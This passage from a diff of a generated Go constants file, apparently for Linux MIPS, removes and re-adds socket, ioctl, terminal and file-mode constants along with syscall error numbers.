-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x800854d5
-- TUNDETACHFILTER = 0x800854d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x400854db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40041270
-+ BLKBSZSET = 0x80041271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40041272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x21
-+ F_GETLK64 = 0x21
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x22
-+ F_SETLK64 = 0x22
-+ F_SETLKW = 0x23
-+ F_SETLKW64 = 0x23
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x2000
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4008743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80087446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x800c744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80087447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4004700d
-+ RTC_EPOCH_SET = 0x8004700e
-+ RTC_IRQP_READ = 0x4004700b
-+ RTC_IRQP_SET = 0x8004700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x401c7011
-+ RTC_PLL_SET = 0x801c7012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x800854d5
-+ TUNDETACHFILTER = 0x800854d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x400854db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x20
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
